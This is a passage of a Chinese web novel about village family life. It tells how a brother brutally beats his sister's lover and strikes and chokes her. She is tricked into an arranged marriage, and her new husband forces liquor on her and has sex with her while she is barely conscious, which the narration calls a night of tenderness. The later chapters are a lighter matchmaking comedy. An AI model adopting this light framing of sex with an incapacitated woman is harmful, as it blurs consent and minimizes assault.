然而,董家大哥这两天却总是感觉心神不宁,右眼皮不停地跳动,似乎预示着有不好的事情即将发生。他隐隐约约感觉到妹妹董春风有些不对劲,但又说不出个所以然来。 心烦意乱的他心中仿佛有一团乱麻纠缠不清。他决定去找妹妹聊聊。 他快步走到妹妹的房门前,抬手轻轻地敲了几下门。然而,屋内却没有丝毫回应。他又连续敲了几次,可依旧寂静无声。他不禁有些疑惑,平日里妹妹很少会这样安静啊。 于是,他小心翼翼地推开房门,探头往里张望。这一看不要紧,他惊讶地发现屋子里竟然空无一人! 董家大哥的心瞬间提到了嗓子眼儿,一种不祥的预感涌上心头。他立刻高声呼喊着妹妹春风的名字,声音中充满了焦急和担忧。 正在厨房忙碌的董家大嫂听到丈夫的呼喊声,急忙放下手中的活计,匆匆赶来问道:“怎么了?发生什么事了?春风不是一直在屋里吗?” 董家大哥一脸慌张地回答道:“屋里没人!我也不知道她去了哪里!你说,她会不会出什么事了呀?”说着,额头上已经冒出了一层细汗。 董家大嫂也是一惊,皱起眉头思索片刻后说道:“哎呀,不会跟那个穷小子跑了吧!之前就一直听说他们俩关系不一般,怪不得最近这么听话没有胡闹!” 这话如同晴天霹雳一般击中了董家大哥,他瞪大了眼睛,难以置信地吼道:“什么?跟栓子跑了?这怎么可能!不行,得赶紧把他们找回来!”说完,他转身冲出门外,一边大声呼喊着妹妹的名字,一边挨家挨户地询问有没有看到过春风和栓子。 董家大嫂也紧跟其后,神色紧张地跟着丈夫一起寻找。很快,这个消息就在村子里传开了,村民们纷纷加入到寻找的队伍中来。大家沿着村子周围的道路、田野仔细搜寻,不放过任何一个角落。 而此时的另一边,董春风因为长时间的行走早已疲惫不堪,她停下脚步,气喘吁吁地对身边的栓子说道:“栓子哥,我实在走不动了,咱们歇一会儿吧。”栓子回头看了看身后,感觉应该已经安全了,便点了点头,扶着春风在路边坐了下来。 董春风靠在栓子宽阔的肩头上,脸上洋溢着幸福的笑容,轻声说道:“栓子哥,我们总算可以在一起了!再也没有人能分开我们了。”栓子温柔地抚摸着春风的头发,深情地望着她,眼中满是爱意。 栓子紧紧地握着董春风的手,一脸郑重其事地说道:“以后啊,你可就是我栓子的媳妇儿啦!虽说俺栓子没啥大钱,但俺向你保证,绝对不会让你挨饿受冻的!” 董春风听了这话,笑得如春花般绚烂夺目。她那双美丽的眼眸里闪烁着喜悦和满足的光芒,仿佛整个世界都只剩下眼前这个真诚的男人。此时此刻,她感到无比的幸福,甚至觉得自己是天底下最幸运的女子。 然而,谁也没有料到,就在这美好的瞬间过后,突然传来一阵嘈杂的脚步声和呼喊声。紧接着,一群手持火把、气势汹汹的人迅速围拢了过来。为首的正是董春风的大哥,只见他满脸怒容,大声吼道:“好哇,你个不知天高地厚的臭小子,竟然胆敢拐走我的妹子,大家帮帮忙给我狠狠地揍他一顿!” 话音未落,那群人便如饿虎扑食一般冲向栓子,拳脚相加,毫不留情。 董春风见状,心急如焚,赶忙冲上前去拉住大哥的胳膊,苦苦哀求道:“大哥,求求您了,别再打他了!我已经是他的人了呀!” 董家大哥听到妹妹这番话,顿时气得火冒三丈。他猛地扭过头来,恶狠狠地瞪着董春风,眼中的怒火似乎要喷出来一般。 只见他扬起手掌,“啪”的一声脆响,结结实实地扇在了妹妹娇嫩的脸颊上。随后,他又伸出一只粗壮有力的大手,死死捏住董春风纤细的脖颈,咬牙切齿地骂道:“你这不知羞耻的东西!简直丢尽了我们董家的脸!从现在起,你给我把嘴巴闭得严严实实的,半个字也不许往外说!” 说罢,董家大哥全然不顾妹妹的哭喊求饶,转身加入到对栓子的暴打中。他挥舞着拳头,如同雨点般不停地落在栓子身上,每一拳都用尽了全身的力气,仿佛要将心中所有的愤怒都宣泄出来。而可怜的栓子只能蜷缩在地上,抱着头默默忍受着这**般的攻击…… 眼看着栓子被打得已然面目全非、惨不忍睹,满脸淤青肿胀不说,就连呼吸也变得微弱起来,仿佛下一刻就要昏厥过去一般! 董春风见状,心急如焚地跪倒在地,苦苦哀求道:“大哥,求求您放过他吧,别再打他了!我这就乖乖跟您回家去!” 然而,此时的董家大哥早已怒不可遏,他根本不顾及妹妹的央求,飞起一脚狠狠地踹在了栓子身上。只听得栓子发出一声惨叫,身体猛地颤抖了一下,便彻底瘫倒在地,再也无法动弹半分。 随后,董家大哥一把拽起妹妹的胳膊,像拖着一个物件一样朝着家中的方向大步走去。 可怜那栓子只能孤零零地躺在冰冷的地面上,有气无力地叫喊着,声音越来越小,直至春风等人完全消失在寂静的夜色中。 回到家中,董家大哥仍旧余怒未消。他先是不由分说地扬起手掌,对着董春风就是狠狠的两记耳光。清脆的巴掌声响彻整个房间,董春风娇嫩的脸颊瞬间浮现出两个鲜红的掌印。 第101章 成婚之夜 董家大哥毫不留情地将妹妹推进屋内,并顺手从角落里抄起一把铁锤,将窗户牢牢地钉死,不给董春风任何逃脱的机会。 这时,董家大嫂闻声赶来,看到眼前这番情景,不禁惊讶地问道:“哎呀,这到底是咋回事儿啊?瞧你发这么大的火,小心气坏了身子哟!再说了,妹子再过几天就要成亲啦,要是把脸蛋给打坏了可咋办呐?” 董家大哥重重地叹了口气,欲言又止,最终只是无奈地摇了摇头说道:“你知道她......唉......” 只见那董家大嫂微微皱了皱眉,轻声说道:“别生气啦,消消气,我这就进去瞧瞧到底是怎么回事儿......”说罢,她轻轻拍了拍丈夫的肩膀,然后迈着轻盈而又略显匆忙的步伐朝着屋内走去。 董家大嫂走进屋内,轻声说道说道:“你不就是想跟那个穷小子走嘛,我可清清楚楚地告诉你啊,就算你真想走,也绝对不能选在这个节骨眼儿上离开。最起码,你也得先嫁到那边去之后,等你成了人家的媳妇,到那时你再逃跑可就不关我的事啦!再说了,我听说那个人他之前的老婆不就是跟着别人跑掉了的嘛!” 董春风瞪大了眼睛,满脸惊愕之色,结结巴巴地问道:“大嫂,你的意思是......我还有机会......能和栓子哥在一起?” 董家大嫂赶紧做了个噤声的手势,压低声音道:“嘘——小声点儿,千万别让你大哥听到了!不然咱俩可都没好果子吃。” 董春风连连点头,感激涕零地说道:“谢谢大嫂,要是没有你帮我出主意,我真不知道该怎么办才好了。可是,我现在又该怎样才能把这件事情告诉栓子哥呢?” 董家大嫂微微一笑,胸有成竹地安慰道:“别怕,不是还有我在的嘛。你就放宽心吧,只要你乖乖听我的话,先应承下嫁到李家沟去,等你出嫁那天,我再通知栓子,然后你们俩再远走高飞不就行了么......到时候他李家就算找上门,也不关我们的事儿啊!” 董春风仍然有些将信将疑,拉着大嫂的衣角追问道:“大嫂,你说的这些,全都是真的吗?不会只是哄我的吧?” 董家大嫂双手抱胸,斜睨着董春风,一脸不屑地说道:“信不信由你咯,反正如今你大哥怕是天天就在这儿盯着了,谅你也没本事踏出这房门半步!”话音未落,她便转身朝着门口走去,脚步匆匆。 董春风眼见大嫂要离开,连忙喊道:“大嫂,我信你还不成嘛!”语气中带着些许无奈和妥协。 听到这话,董家大嫂嘴角微微上扬,露出一抹不易察觉的笑容,然后头也不回地走出了房间,并顺手轻轻带上了门。 此时董家大嫂走出屋外,只见董家大哥气得满脸通红,胸膛剧烈起伏着,他怒目圆睁,咬牙切齿道:“哎……真真是要把我给气死啦!那死妮子竟然……竟然敢干出那样的丑事来!简直不知廉耻!” 董家大嫂则在外边轻声安慰道:“当家的,您先消消气儿,莫要这般动怒伤了身子。我这不已经将她给哄好啦,不管怎样,在成亲之前,这小丫头片子肯定不敢再胡乱折腾、惹是生非了。只要能够顺顺利利地嫁到那李家去,后面的事情啊,就用不着咱们再来烦心喽!” 董家大哥听后,稍稍平复了一下情绪,但仍有些狐疑地问道:“她当真愿意听话?” 董家大嫂信心满满地点点头应道:“嗯嗯,当家的,您尽管放宽心便是,我自然是有法子让她乖乖听话的!”说罢,她还得意地扬了扬下巴。 董家大哥重重地呼出一口气,如释重负般说道:“那就好!不过话说回来,她如今已非清白之身,倘若此事被察觉......”他眉头紧皱,脸上满是忧虑之色。 董家大嫂不以为然地笑了笑,宽慰道:“哎呀,当家的,你也不想想看,那李家沟的都那么大岁数了,好不容易娶个年轻的小姑娘进门,高兴还来不及呢,怎会在意这些?” 董家大哥听后,稍稍松了口气,但仍心有不安地嘀咕着:“话虽如此,可我心里总是七上八下的,只盼着她能守口如瓶,千万别将这事捅出去才好!” 董家大嫂笑道:“放心吧,哪儿有人会在外面乱说这种事情的!” 时光飞逝,转眼便迎来了成亲的大喜之日。天刚蒙蒙亮,董家大嫂就迫不及待地起身,开始精心装扮起董春风来。只见她手脚麻利地为董春风梳妆打扮,不一会儿工夫,一个如花似玉、娇艳动人的新娘子就出现在眼前。 董家大嫂满意地点点头,拉过董春风的手,轻声嘱咐道:“妹子,大嫂我可是费了好大一番功夫才跟栓子说好的。今儿个晚上,你可得想法子让李家沟那人多喝点酒,等他醉得不省人事时,你俩就能顺顺利利地一同离开了。记住了吗?” 董春风闻言,面露惊喜之色,连连点头应道:“真的呀?太好了,多谢大嫂!” 董家大嫂拍了拍董春风的手背,笑着催促道:“快去吧,记住晚上一定要多喝点酒哦!” 目送着董春风盖上了鲜艳夺目的红盖头,那如火焰般燃烧的红色仿佛映照着她未来未知的命运。她娇小的身影随着迎亲的队伍渐行渐远,直至消失在了道路的尽头。 董家嫂子站在原地,看着这一幕,脸上慢慢浮现出一抹狡黠的微笑,那笑容如同隐藏在暗处的狐狸一般,让人难以捉摸其真正的心思。 而董家大哥则依旧一脸担忧地凝视着妹妹离去的方向,眉头紧锁,心中充满了不安和牵挂。 董家大嫂注意到丈夫的神情,轻轻拍了拍他的肩膀说道:“行了,当家的,别再担心啦!我向你保证,今天晚上他们两个肯定能安安稳稳地睡上一觉。等到明天一大早,等她认清了现实,自然就不会再像之前那样胡闹折腾啦!” 原来,董春风并非心甘情愿地出嫁,而是被董家大嫂巧言令色地哄骗过去的。这个可怜的姑娘就这样稀里糊涂地踏上了婚姻这条布满荆棘的道路。 再说另一边,那个名叫栓子的男子,因为伤势严重,至今已经在床上躺了整整一个星期,仍然无法下地行走。此刻,他正虚弱地靠在床头,听着窗外传来阵阵喜庆欢快的唢呐声,泪水不由自主地在眼眶中打转。他喃喃自语道:“春风,不管怎样,我一定会想尽办法找到你的……” 夜幕悄然降临,整个世界都被黑暗所笼罩。李万原满身酒气地走进了新房。他眯起眼睛,走到床边,伸手掀开了那象征着新娘身份的红盖头。瞬间,一张稚嫩得如同初绽花朵般的脸庞映入了他的眼帘。那张脸蛋娇嫩欲滴,好似轻轻一掐就能掐出水来似的。 李万原打了个酒嗝,色眯眯地说道:“哎呀,这小媳妇儿长得可真俊呐!只要你乖乖听话,给我李家生下个大胖小子,我可以保证,从今往后咱们家所有的东西都是你的,家里都你说了算!” 说罢,李万原猛地向前一扑,张开双臂如饿虎扑食一般,直直地朝着董春风抱去! 董春风见状,下意识地侧身一闪,迅速起身站定,娇嗔道:“别急嘛,咱们可还没喝过交杯酒呢!” 李万原一听,连忙点头应和:“对对对,都听我媳妇儿的,一切都听媳妇儿的!”他心中暗自窃喜:这新媳妇真是不错,不仅年轻貌美,而且乖巧懂事。哪像那何芊菊,整天板着个苦瓜脸,自从娶了她,自己就没有一天过得舒心! 董春风微微一笑,轻轻地提起酒壶,缓缓地为李万原斟满了一杯美酒,并将酒杯轻轻递到他手中。李万原接过酒杯,董春风满脸期待地说道:“来,你就喝了这杯酒吧!” 然而,李万原却摇了摇头,轻声细语地回应道:“不行哦,咱们得先喝交杯酒才行呀。”说着,他又给董春风倒了一杯酒。 董春风无奈之下,只好端起酒杯,两人手臂相交,对视一眼后,同时仰头一饮而尽。 喝完交杯酒后,李万原再也按捺不住内心的冲动,猴急地伸手搂住董春风的纤纤细腰,色眯眯地笑道:“嘿嘿,这下交杯酒也喝完了,要不咱还是早些歇息吧?” 董春风眼波流转,嘴角微扬,不紧不慢地说道:“莫急,既然今天如此高兴,不如再多饮几杯,也好增添些兴致呢。”话音未落,她已再次拿起酒壶,接连为李万原斟满了好几杯酒。 可是她低估了李万原的酒量,连续喝了几杯,李万原还是没有醉了的意思! 李万原一脸坏笑地看着董春风,说道:“总让我一个人喝酒多没意思啊,你也得陪着我一块儿喝才有意思呢!”话音未落,他便猛地举起手中酒杯,不由分说地将满满一杯烈酒径直灌入了董春风那樱桃般的小嘴之中。董春风猝不及防之下,被这辛辣的酒水呛得连连咳嗽起来。 看到董春风如此狼狈的模样,李万原不仅没有丝毫怜香惜玉之情,反而哈哈大笑道:“哎呦,瞧你这点儿出息,怎么就这么不小心呀!来来来,再来一杯透一透!”说罢,他再次端起一杯白酒,如法炮制地强行给董春风灌了下去。 要知道,董春风可是个从未沾过一滴酒的大姑娘啊,这区区三杯高度白酒对于毫无酒量可言的她而言,简直就是致命的**,足以令其烂醉如泥、不省人事了。 此时的董春风只觉得天旋地转、头晕目眩,身体开始不由自主地摇晃起来,脚步也变得踉踉跄跄、站立不稳。终于,她一个趔趄,软绵绵地倒进了李万原那宽厚的怀抱之中。 而李万原则趁机搂住董春风纤细柔软的腰肢,色眯眯地低语道:“嘿嘿,原来你喜欢这样投怀送抱啊……”紧接着,他便一把抱起已经意识模糊的董春风,乐呵的朝着床边走去。 一夜缠绵过后,第二天清晨,当第一缕阳光透过窗户洒在房间内,那张凌乱不堪的床上,董春风才慢悠悠地从宿醉中苏醒过来。她缓缓睁开双眼,映入眼帘的便是满地的狼藉——丢落在地上的衣物、皱巴巴的床单以及空气中弥漫着的暧昧气息。 低头一看,自己身上原本穿戴整齐的衣裳此刻已所剩无几,几近赤裸。再往旁边一瞅,只见李万原正光着膀子横躺在床上呼呼大睡,一只粗壮的胳膊还肆无忌惮地耷拉在自己的身上。此情此景,让董春风瞬间羞红了脸,心中充满了懊悔与愤恨。 董春风只觉得心中猛地一跳,下意识地腾地一下坐了起来,额头上甚至冒出了一层细密的汗珠。思绪如潮水般汹涌而来,让她一时间有些不知所措。 "天啊,我这到底都做了些什么啊?"董春风喃喃自语道,眼神迷茫而又惊恐。她急忙环顾四周,然而,房间里除了凌乱的被褥和依旧熟睡中的李万原之外,根本没有任何人的踪迹。 "栓子哥来过这里吗?难道他一直在外面等着我,整整一夜吗?......"这个念头一旦产生,就在董春风的脑海中挥之不去。想到这里,她再也无法安坐在床上,决定立刻下床到外面去看个究竟。 正当董春风准备起身时,原本沉浸在睡梦中的李万原迷迷糊糊地伸出手来,从背后一把抱住了董春风,并含糊不清地嘟囔着:"这么早起来干什么!还不如陪我再休息一会儿!" 董春风被这突如其来的拥抱吓了一大跳,心脏几乎要跳出嗓子眼儿了。她结结巴巴地回应道:"我......我饿了,想起来做点 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董春风一脸茫然地看着那个哑巴在自己面前比划着,完全不明白对方想要表达什么意思。不过,从那焦急的手势中,她隐隐觉得好像是在告诫她不要到处乱跑。董春风心想,既然如此,那就先乖乖回去吧。于是,她迅速转过身去,迈着小步急匆匆地往屋里走去。 一进屋子,董春风熟练地点燃了柴火,准备开始做早饭。随着火苗渐渐升腾起来,照亮了整个厨房。然而,就在这看似平常的一刻,董春风的泪水却像决堤的洪水一般,哗哗地顺着脸颊滑落下来。 她心中充满了无尽的思念和担忧,不知道自己这一生是否还有机会与心爱的栓子再次相见。想起曾经与栓子在一起的点点滴滴,那些美好的时光仿佛就发生在昨天。可如今,命运弄人,她已被迫嫁给了李万原。尽管如此,董春风的内心深处始终坚信,栓子哥一定不会轻易抛弃自己的……一定会来找自己的! 与此同时,在另一边的杏花家里,清晨的阳光洒在了整洁的小院里。杏花正拿着扫帚认真地清扫着地面上的落叶和尘土。忽然间,一阵脚步声传来,原来是刘婶儿来了。 杏花见状,连忙放下手中的扫帚,热情地迎上前去说道:“哎呀,刘婶儿,您快进屋来坐,是不是有啥好消息告诉我呀?” 刘婶儿满脸喜气地凑近杏花,压低声音神秘兮兮地说道:“哎呀,那当然是有天大的好消息啦!我跟你讲哦,隔壁田家庄有个姑娘,名叫田小莺,已经二十了。那姑娘真是没得挑,性格温柔善良,家务活样样在行,绝对是个持家过日子的好手。只可惜啊,她打从娘胎里出来的时候,那额头侧边就长着一块有铜钱大小的胎记。唉,就因为这块胎记,以至于这姑娘到现在都还没能找到合适的婆家呢!但是你想想看哈,如果咱们不介意这个小小的胎记,其实这田小莺真的挺不错的哟!而且她家条件也还算过得去,她爹都说了,只要男方人品好、心地善良,能真心实意对待他家闺女,彩礼啥的意思一下就行了,不会狮子大开口要很多的。怎么样,你觉得行不?要不要和你们家二小子好好商量商量?” 杏花一听,眼睛顿时亮了起来,毫不犹豫地一挥手,大声说道:“不用商量了,这事儿啊,我一个人就能作主!我看这田小莺姑娘挺好的,虽说那额头上有点胎记,但咱又不是光看脸过日子,关键是人好心善会持家才最重要嘛!再说了,俺家二小子年纪也不小了,该成家了。既然有这么个机会,那就赶紧抓住呗!” 刘婶儿见杏花如此爽快果断,不禁喜笑颜开,连连点头道:“好嘞好嘞,我可就盼着你这句话呢!不过啊,人家田家人也是明事理的,他们说了,得先见见你们家二小子,毕竟婚姻大事,还是得人家闺女也愿意才行呐!” 杏花微微蹙着眉头,若有所思地沉默了一会儿后,眼中忽然闪过一丝光亮,开口说道:“要不然这样你看行不行,明天呐,咱们俩演出戏。”说完,她还冲刘婶儿调皮地眨了眨眼。 刘婶儿听了之后,先是愣了一愣,随即用手拍了下大腿,恍然大悟道:“哎呀,还得是你啊杏花,脑子就是好使,这办法可真是妙极啦!” 时间很快便来到了第二天。果不其然,只见刘婶儿装出一副痛苦不堪、一瘸一拐的模样缓缓从远处走来,嘴里还不时发出“哎呦……哎呦……”的呻吟声。当她走到杏花家门口时,声音更是提高了八度。 正在院子里忙碌的杏花听到声响,赶忙迎了出来,一脸关切地问道:“哎呀,刘婶儿您这是咋了啊?怎么好好的突然变成这样了?”说着,她急忙扭头朝屋里喊道:“云义,快拿个凳子出来给刘婶儿坐着歇歇脚!” 不一会儿,云义便从屋内搬出一张凳子放在了刘婶儿面前。刘婶儿一边小心翼翼地坐下,一边唉声叹气地说道:“杏花啊,我今天早上出门的时候不小心摔了一跤,这不,本来想着要把这些东西送到田家去的,现在可好,我这腿伤成这样,不知道啥时候才能到得了田家哟!”说到这儿,她忍不住又轻轻揉了揉受伤的膝盖。 杏花看着刘婶儿可怜巴巴的样子,心疼地安慰道:“哎哟,您怎么这么不小心啊,都摔成这样子了。要不这样吧,反正云义这会儿也没啥事儿干,就让他替您跑这一趟呗!您看您这样子一瘸一拐地走着得多受罪啊!” 一直站在旁边没有说话的云义这时有些惊讶地抬起头,指着自己疑惑地问:“让我去?” 刘婶儿连忙摆手摇头道:“哎呀,云义啊,我知道麻烦你不太好意思,要是你不方便或者不愿意就算了,我还是坚持一下,自己慢慢走去好了!”说完,她作势就要起身离开。 第102章 隐瞒 杏花双手叉腰,柳眉倒竖,瞪着眼前那个一脸无辜的云义,嗔怒地骂道:“你这臭小子,不就是让你跑个腿嘛,还能掉块儿肉似的磨蹭半天!这点小事儿,一会儿工夫就能回来了!” 就在这时,云亭从屋里缓缓走了出来,他面带微笑,温和地说道:“要不还是让我去吧!” 杏花闻言,连忙摆了摆手,焦急地喊道:“哎呀,你去干什么呀!文孝刚才急急忙忙来找你,说是有要紧事呢!” 云亭一听,脸上露出一丝惊讶之色,连忙问道:“文孝找我?你咋没叫我啊,不行,我得赶紧去看看他到底有啥急事!”说罢,便抬脚准备往门外走去。 见此情形,一旁一直沉默不语的云义开口说道:“那还是我去吧!对了,这是要给田家庄哪户人家的东西啊?” 站在门口的刘婶儿赶忙应道:“是给田勇强家的,要是你不知道他家在哪儿,可以到田家庄那边找人打听打听。” 云义郑重地点了点头,眼神中透露出一丝明悟,然后他再次向刘婶儿确认道:“您说的意思就是只要将这东西送到他家就行了吧?” 刘婶儿微笑着回答:“没错,孩子,送到之后可别忘了顺便问一问他们家,看看是否有什么物品需要带回给我的。” 云义毫不犹豫地点头应道:“好嘞,刘婶儿,那我这就送过去了!” 此时,一旁的杏花忽然注意到云义身上那件略显污渍的衣服,不禁皱起眉头说道:“哎哟喂,瞧瞧你身上穿的这件衣裳,都已经脏兮兮的啦,还不快去换一身干净整洁的再出门!” 然而,云义低头瞧了瞧自己的衣服,满不在乎地回应道:“哪里脏啦?我觉得挺好的呀!” 杏花见他这般不在意,连忙催促道:“乖,听娘的话,赶紧去换件,别让人家看到笑话咱。” 尽管有些不情愿,但云义还是乖乖地转身朝着屋里走去,嘴里还小声嘟囔着:“真麻烦,事儿咋这么多呢!” 就在云义刚刚迈出脚步出发离去,站在院子里的杏花脸上已然绽放出欣喜的笑容,刘婶儿轻声说道:“照目前这个情形来看呐,这桩事情怕是**不离十,快要成功喽!” 正在不远处晾晒衣物的秀兰看到母亲和刘婶儿聊的开心,好奇地凑过来询问道:“娘,你们到底在谈论些什么呀?怎么能让您如此高兴呢!” 刘婶儿脸上洋溢着笑容,乐呵呵地说道:“你娘当然高兴啦,她啊,整日心心念念的就是想赶紧再给家里添个小儿媳妇儿呢!” 秀兰听后,眼睛一亮,惊讶地问道:“真的啊?那是谁家的姑娘啊?” 杏花笑道:“这事儿还不一定呢!” 刘婶儿微微颔首,胸有成竹地回答道:“依我看呐,这事**不离十了!” 一旁的杏花忍不住插话道:“这事儿啊,可得先瞒着云义,等把那亲事顺顺利利地给定下来,娶亲那天再说!”说着,她还特意叮嘱了一句。 秀兰心里不禁暗自嘀咕起来,觉得这样做似乎有点不妥当,但看到大家兴致勃勃的样子,她终究还是没把自己的想法说出口。毕竟,云义也到了该成亲的年纪了呀! 此时,杏花的眉头微皱,眼神里透露出一丝忧虑,她转头看向刘婶儿,忧心忡忡地问道:“你说,云义他一个人就这样过去,能行吗?我这心里总是七上八下的。” 刘婶儿连忙安慰道:“放心吧,我早就和田家老娘商量好了,她心里头清楚着呢!不会有啥问题的。” 云亭一路小跑着来到了文孝的家中,然而令他失望的是,文孝并不在家。此时,唐小雨出现在门口,她面带疑惑地看着云亭问道:“你来是要找文孝吗?” 云亭点了点头,喘着粗气回答道:“是啊,听我娘说文孝有急事找我?” 唐小雨轻轻摇了摇头,表示自己也不知情,她皱起眉头说道:“这个我不太清楚呢,早上他看了眼天,就下地干活去了。” 云亭听后,连忙说道:“哦,那我还是去地里找找他吧。”说完便转身准备离去。 与此同时,云义拎着那东西来到了田家庄。经过一番打听,他终于找到了田勇强的家。站在门前,云义深吸一口气,然后抬手轻轻地敲了敲门。 不一会儿,门被缓缓打开,一位满脸笑容、看上去十分和蔼可亲的大娘出现在眼前。只见这位大娘热情地招呼道:“哎呦,快进来坐,你就是李家沟那孩子吧!” 云义有些疑惑,她怎么知道我是李家沟的,没来得及多想,微笑着走进屋内,将手中的东西递过去并说道:“大娘您好,这是刘婶儿让我给您送过来的东西。请问放哪里比较合适呢?” 田大娘开心地说道:“哎呀,真是太客气啦!把东西放在桌上就行。莺子,快出来给客人倒杯茶!”随着田大娘的呼喊声,一个年轻的姑娘从里屋快步走了出来。 云义见状,急忙连连摆手,口中说道:“真的不用如此麻烦啦,我还要回家去呢!” 田大娘却是热情地挽留道:“哎呀,既然都已经来了,那就先坐下歇一会儿再走吧!”话音刚落,只见田小莺手中稳稳地托着一盏热气腾腾的茶水,恭恭敬敬地放在了桌上。 云义赶忙道谢:“多谢!” 此时,站在一旁的田小莺脸上飞起一抹淡淡的红晕,羞涩地抿嘴一笑,美眸含情脉脉地凝视着眼前这位俊朗的男子,心中暗自欢喜,对他甚是满意。她稍稍侧过头去,对着自己的娘亲微微颔首轻点,表示认可之意。 云义喝了口茶后,开口问道:“刘婶儿还让我问问您,这边是否有需要我帮忙给她捎带些东西回去?” 田大娘一听这话,恍然大悟般拍了一下脑门,惊呼道:“哎哟,你瞧瞧我这记性,差一点儿可就给忘喽!该准备的红包自然是不能少的啊!” 说罢,她便伸手入怀,摸索出一个红包来,满脸笑意地递到云义面前:“快拿着,把这个红包带回去给刘婶儿,权当是我请她喝杯茶聊表心意啦!” 云义双手接过红包,再次向田大娘表示感谢后,起身说道:“那好嘞,既然东西也已经送到了,那我也就先回去了!”言罢,转身朝着门外走去。 田母面带微笑地望向自己的女儿,轻声说道:“莺子呀,刘婶儿可是跟我说啦,如果你能看上那李家小子,那我就让他带着红包回去,然后,刘婶儿再开口讲这门亲事哟!你看如何呀?刚刚娘可已经把红包给他啦......”说完,田母还轻轻地拍了拍莺子的手。 只见莺子听后,那白皙的脸蛋瞬间泛起了一抹红晕,如同熟透的苹果一般,娇羞地低下了头,微微点了点头,表示同意。 没过多久,云义便像一阵风似的跑回了家中,气喘吁吁地将手中那个红彤彤的红包递到了刘婶儿面前,同时嘴里还说着:“刘婶儿,这是田家让我转交给您的,他们还说,这是请您喝茶用的呢!” 刘婶儿见状,顿时喜笑颜开,眼睛都快眯成一条缝了,赶忙伸手接过红包,一边小心翼翼地揣进兜里,一边乐呵呵地对一旁的杏花说道:“杏花啊,这事儿啊,算是成啦!” 然而此时的云义却是一脸茫然,完全不知道她们究竟在谈论什么事情?他挠了挠脑袋,百思不得其解。 就在这时,原本坐在椅子上的刘婶子突然间站了起来,只听见她笑着说道:“哎呀,我这儿家里还有点儿别的事儿,就先不和你们多聊啦,得赶紧走喽!”话音未落,刘婶儿便已转身朝着门外走去。 云义眼睁睁地看着刘婶儿渐行渐远的背影,不禁感到十分疑惑,喃喃自语道:“她这不是腿好好的嘛?” 身旁的杏花听到这话,噗嗤一声笑了出来,解释道:“哎呀,兴许是人家刚才坐在这里休息了一会儿,腿好了也不疼了,所以才急急忙忙赶着回家办事去了呀!” 云义站在原地,伸出右手挠了挠自己的脑袋,脸上露出一丝疑惑之色,但最终还是没有开口说话。不知为何,他心里总是有一种难以言喻的感觉,似乎有什么地方不太对劲,但又说不出个所以然来。 就在这时,只见云亭一路小跑着回来了,累得气喘吁吁,上气不接下气地说道:“娘,我刚可是去找文孝了,可他却说压根儿就没有找过我呀!”说完,他舀起一瓢冷水咕咚咕咚喝下。 杏花听到这话,先是一愣,随后脸上绽放出笑容,她抬起手轻轻地拍了一下云亭的肩膀,笑着说道:“哎呀,你这个傻孩子哟……”那语气充满了宠溺与无奈。 云亭被母亲这么一拍一骂,更是丈二和尚摸不着头脑,满脸茫然。 他抬头看去,发现一旁的秀兰此时正用手捂着嘴巴偷笑呢。 于是,云亭忍不住问道:“你们到底在笑啥呀?快告诉我嘛!” 然而,面对云亭急切的询问,秀兰只是抿嘴一笑,轻声回答道:“没什么啦……”然后照旧忙活着别的事情! 云义和云亭到现在还对发生的一切还浑然不知,而杏花这边已经风风火火地已经为云义定下亲事了! 杏花心里头一直惦记着那些准备办喜事要用的东西,还生怕被云义给发现了。 于是乎,她左思右想之后,特意去找了唐小雨,决定先将这些物品统统暂时存放到文孝家中。不仅如此,为了能尽快完成那几床缎面的喜庆被子,杏花更是不辞辛劳,每日都会前往文孝家里埋头苦干。 无巧不成书,就在这一天,云亭和云义正在田间地头忙碌着农活。正当两人挥汗如雨之际,文孝慢悠悠地踱步而来。 他嘴角挂着一丝戏谑的笑容,开口说道:“嘿哟,我说你们兄弟俩,你娘可真是有意思得很呐!几床喜被子而已,还每天都到我们家里去,莫不是你家孩子太多了,都没有地方放了?” 听到这话,云亭和云义不禁面面相觑,脸上满是狐疑之色。云亭挠了挠脑袋,率先回应道:“怎么会呢,我每天回到家时,俺娘不都在家里嘛!” 文孝嘿嘿一笑,摇了摇头说:“你们兄弟俩回家之时,怕是都已经到晌午了吧!” 经文孝这么一说,云亭也觉得颇有道理,他点了点头表示认同。紧接着,他又满心好奇地追问道:“就算是这样,那我娘为何非得在你们家做被子呢?难道不是因为唐小雨月份大了不利索,给你们帮忙的?” 文孝满脸不可置信地说道:“开什么玩笑啊!我家里的被子可多着呢,起码得有二三十条!都快够我用上一辈子啦,哪里还会需要再做新的呀!”他一边说着,一边夸张地比划着数量。 看到眼前这两个哥俩都是一副茫然无知、不明所以的样子,文孝不禁摇了摇头,叹了口气道:“我说你们哥俩儿啊,该不会真的什么都不知道吧?” 云义挠了挠头,疑惑地问道:“文孝哥,你到底想说啥呀?我们怎么一点儿也听不明白呢。” 文孝却突然像是想到了什么似的,连忙摆了摆手,急匆匆地说道:“哎呀,不行,那我还是不说了!还是不跟你们扯了,你们就当没听过,我还是先走了!”话音未落,他便一转身,头也不回地快步走开了。 留下云亭和云义两人站在原地,面面相觑,一脸的懵逼。这都说的是些啥呀?感觉好像说了点什么重要的事情,但仔细一想,又好像什么都没说清楚。 云亭苦思冥想了好一会儿,仍然对文孝口中所说的被子毫无头绪。最后,他终于忍不住对云义说道:“云义啊,要不这样吧,等会儿我亲自去文孝家看一看究竟是怎么回事。你就先回家去吧。” 云义心里也充满了好 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云义听到唐小雨这番话后,顿时惊得瞪大了双眼,脑袋像拨浪鼓似的连连摇晃,嘴里忙不迭地否认道:“十条?我的天呐,哪能用得了这么多啊?”他那张原本平静的脸显然对这个数字感到十分惊讶和不解。 见云义如此反应,唐小雨不禁“噗嗤”一声笑了出来,随后耐心地解释道:“哎呀,十床被子哪里算得上多呢!按照咱们这儿的规矩,男方这边得准备十床被子,而女方那边同样也要陪嫁十床被子呢。这样一来,加在一起起码就有二十床被子啦,足够用上好几十年都没问题呢!”说完,她还调皮地冲云义眨了眨眼。 这时,一直站在旁边默不作声的云亭突然好奇地问道:“陪嫁?这到底是谁要成亲呐?”他满脸疑惑地看着众人,似乎完全摸不着头脑。 唐小雨闻言,白了云亭一眼,没好气儿地说道:“哼,你居然还跟我在这里装傻充愣呢!”接着,她又将目光转向了云义,脸上露出一丝神秘的笑容。 一旁的佳华见状,立刻凑到云义跟前,仰着头笑嘻嘻地说道:“云义叔,听说您要娶新媳妇儿啦,不知道那位婶婶长得好不好看呀?等您成婚那天,可得多给我一些喜糖吃哦,不然我可不依呢!” 